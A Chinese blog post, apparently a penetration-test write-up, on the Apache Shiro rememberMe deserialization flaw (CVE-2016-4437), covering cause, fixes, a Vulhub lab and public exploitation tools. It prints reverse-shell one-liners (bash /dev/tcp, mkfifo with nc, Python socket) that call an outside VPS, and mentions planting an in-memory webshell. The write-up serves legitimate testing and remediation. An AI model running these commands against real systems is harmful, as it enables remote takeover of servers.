vlambda博客
学习文章列表

【禁止转载】Apache Shiro 反序列化命令执行漏洞

2.Apache Shiro 反序列化命令执行漏洞

漏洞名称

Apache Shiro 反序列化命令执行漏洞

漏洞地址

https://www.wangan.com/docs/418

漏洞等级

超危

漏洞描述

Apache Shiro 是一款开源Java安全框架,提供身份验证、授权、密码学和会话管理。Shiro 框架直观、易用,同时也能提供健壮的安全性。

Apache Shiro 1.2.4 及以前版本中,加密的用户信息序列化后存储在名为 remember-me 的 Cookie 中。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。攻击者可以使用 Shiro 的默认密钥伪造用户 Cookie,触发 Java 反序列化漏洞,进而在目标机器上执行任意命令。

漏洞成因

Apache Shiro框架提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。

Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManaer类中将cookie中rememberMe字段内容分别进行序列化、AES加密、Base64编码操作。

在识别身份的时候,需要对Cookie里的rememberMe字段解密。根据加密的顺序,不难知道解密的顺序为:

1.获取rememberMe cookie2.base64 decode3.解密AES(加密密钥硬编码)4.反序列化(未作过滤处理)

但是,AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

漏洞危害

影响Shiro <= 1.2.4版本,当未设置用于“remember me”特性的AES密钥时,存在反序列化漏洞,可远程命令执行。

修复方案

1.升级Shiro版本到1.2.5及以上,建议直接升级到最新版本。2.现在使用的rememberMe的AES加密密钥泄露,请自己base64一个AES的密钥,或者利用官方提供的方法生成密钥。org.apache.shiro.crypto.AbstractSymmetricCipherService #generateNewKey()

测试过程

测试环境

Vulhub

https://vulhub.org/

image-20211223072737368

https://github.com/vulhub/vulhub

https://github.com/vulhub/vulhub/archive/refs/heads/master.zip

【禁止转载】Apache Shiro 反序列化命令执行漏洞
image-20211223072919389

使用Vulhub一键搭建漏洞测试靶场

docker-compose up -d

安装 docker 和 docker-compose 后即可开始使用Vulhub。

Download the latest version of the vulhub 
git clone https://github.com/vulhub/vulhub.git  

Entry vulnerability directory 
cd /path/to/vuln/ 

Compile (optional) 
docker-compose build 

Run 
docker-compose up -d 

使用方法

下载项目
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master

进入某一个漏洞/环境的目录
cd flask/ssti

自动化编译环境
docker-compose build

启动整个环境
docker-compose up -d

测试完成后,删除整个环境

docker-compose down -v

执行如下命令启动一个使用了 Apache Shiro 1.2.4 的 Web 服务:

cd Desktop/vulhub-master/shiro/CVE-2016-4437
docker-compose up -d
【禁止转载】Apache Shiro 反序列化命令执行漏洞
image-20211223073536137

服务启动后,访问 http://192.168.0.104:8080 可使用 admin:vulhub 进行登录。

http://192.168.0.104:8080

【禁止转载】Apache Shiro 反序列化命令执行漏洞
image-20211223073801768

首先,使用BurpSuite进行抓包,在请求包中的cookie字段中添加rememberMe=123;,看响应包header中是否返回rememberMe=deleteMe值,若有,则证明该系统使用了Shiro框架。

Burp Shiro 漏洞检测插件

在BurpSuite的扩展(Extend)中安装并启动Shiro检测插件

当BurpSuite抓取到Shiro的数据包时会自动进行检测Key,当发现存在Shiro默认key时会有相应的告警

【禁止转载】Apache Shiro 反序列化命令执行漏洞
image-20211223074951996
【禁止转载】Apache Shiro 反序列化命令执行漏洞
image-20211223080046216

Shiro 漏洞检测工具

【禁止转载】Apache Shiro 反序列化命令执行漏洞
image-20211223080311061

工具一:ShiroExploit By 飞鸿

https://github.com/feihong-cs/ShiroExploit-Deprecated

【禁止转载】Apache Shiro 反序列化命令执行漏洞
image-20211223080440439

ShiroExploit v2.51 Final

https://github.com/feihong-cs/ShiroExploit-Deprecated/releases

https://github.com/feihong-cs/ShiroExploit-Deprecated/releases/download/v2.51/ShiroExploit.V2.51.7z

ShiroExploit v2.51 Final

1.增加 2 种新的回显方式 TomcatEcho2, JBossEcho,将 WeblogicEcho1 和 WeblogicEcho2 进行了合并
2.默认不启用 WindowEcho,Use with caution
3.Shiro550VerifierUsingEcho 回退到 URLDNS 方法时,由原先的使用 ceye.io 修改为使用 dnslog.cn
4.增加对设置 Http 代理的支持
5.增加 About 按钮
【禁止转载】Apache Shiro 反序列化命令执行漏洞
image-20211223080642373

使用工具检测 Shiro-550 漏洞

【禁止转载】Apache Shiro 反序列化命令执行漏洞
image-20211223081618704

选择漏洞检测方式

【禁止转载】Apache Shiro 反序列化命令执行漏洞
image-20211223081654370

注意在使用回显进行漏洞检测时,会在目标网站上自动生成一个文件其中记录了执行命令的结果,所以不建议在正式环境测试中使用这种检测方式。

检测到目标存在Shiro反序列化漏洞

【禁止转载】Apache Shiro 反序列化命令执行漏洞
image-20211223081843744
【禁止转载】Apache Shiro 反序列化命令执行漏洞
image-20211223081527145

首先,在kali上开启nc监听本地8888端口,用来接收反弹的Shell

nc -lvvp 8888
【禁止转载】Apache Shiro 反序列化命令执行漏洞
image-20211223125109292

然后用ShiroExploit工具的反弹Shell给远程攻击机器VPS(82.156.13.32)的8888端口

【禁止转载】Apache Shiro 反序列化命令执行漏洞
image-20211223125445523

上述工具利用成功后,在攻击机器上成功接收到了反弹的Shell

【禁止转载】Apache Shiro 反序列化命令执行漏洞
image-20211223125700393

工具二:shiro_attack By j1anFen

https://github.com/j1anFen/shiro_attack

【禁止转载】Apache Shiro 反序列化命令执行漏洞
image-20211223102357246

shiro反序列化漏洞综合利用 v2.2

https://github.com/j1anFen/shiro_attack/releases

shiro_attack_2.2

1.修复自定义参数定义失效2.添加filter马

https://github.com/j1anFen/shiro_attack/releases/download/2.2/shiro_attack_2.2.zip

使用shiro_attack进行爆破Shiro密钥检测漏洞,当目标系统存在漏洞时,检测结果如下图所示:

【禁止转载】Apache Shiro 反序列化命令执行漏洞
image-20211223103959522

使用shiro_attack工具可以直接执行命令并回显结果

【禁止转载】Apache Shiro 反序列化命令执行漏洞
image-20211223104143883

工具三:ShiroAttack2

https://github.com/SummerSec/ShiroAttack2

https://github.com/SummerSec/ShiroAttack2/releases

https://github.com/SummerSec/ShiroAttack2/releases/download/4.5.2_fix_2/shiro_attack-4.5.2-SNAPSHOT-all.zip
4.5.2tomcat 回显执行命令修复版本

修复注入内存马时出现sun.net.www.protocol.http.HttpURLConnection$HttpInputStream@1a1bc158 问题
【禁止转载】Apache Shiro 反序列化命令执行漏洞
image-20211231131509230
【禁止转载】Apache Shiro 反序列化命令执行漏洞
image-20211231132551926

漏洞利用

http://192.168.206.144:8080/login
【禁止转载】Apache Shiro 反序列化命令执行漏洞
image-20211231133508136
【禁止转载】Apache Shiro 反序列化命令执行漏洞
image-20211231133554621
【禁止转载】Apache Shiro 反序列化命令执行漏洞
image-20211231133633999
【禁止转载】Apache Shiro 反序列化命令执行漏洞
image-20211231133750993

反弹shell

bash -c 'exec bash -i &>/dev/tcp/82.156.13.32/8888 <&1'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 82.156.13.32 8888 >/tmp/f
python -c 'import sys,socket,os,pty;s=socket.socket()
  s.connect((os.getenv("82.156.13.32"),int(os.getenv("8888"))))
  [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
  pty.spawn("/bin/sh")'
【禁止转载】Apache Shiro 反序列化命令执行漏洞
image-20211231134301320

直接反弹shell失败

【禁止转载】Apache Shiro 反序列化命令执行漏洞
image-20211231135602360

写入内存马

【禁止转载】Apache Shiro 反序列化命令执行漏洞
image-20211231140117010
【禁止转载】Apache Shiro 反序列化命令执行漏洞
image-20211231140245621

再次尝试反弹shell成功。

【禁止转载】Apache Shiro 反序列化命令执行漏洞
image-20211231140638568
image-20211231140804493

复测情况

已修复

测试人员

南风向晚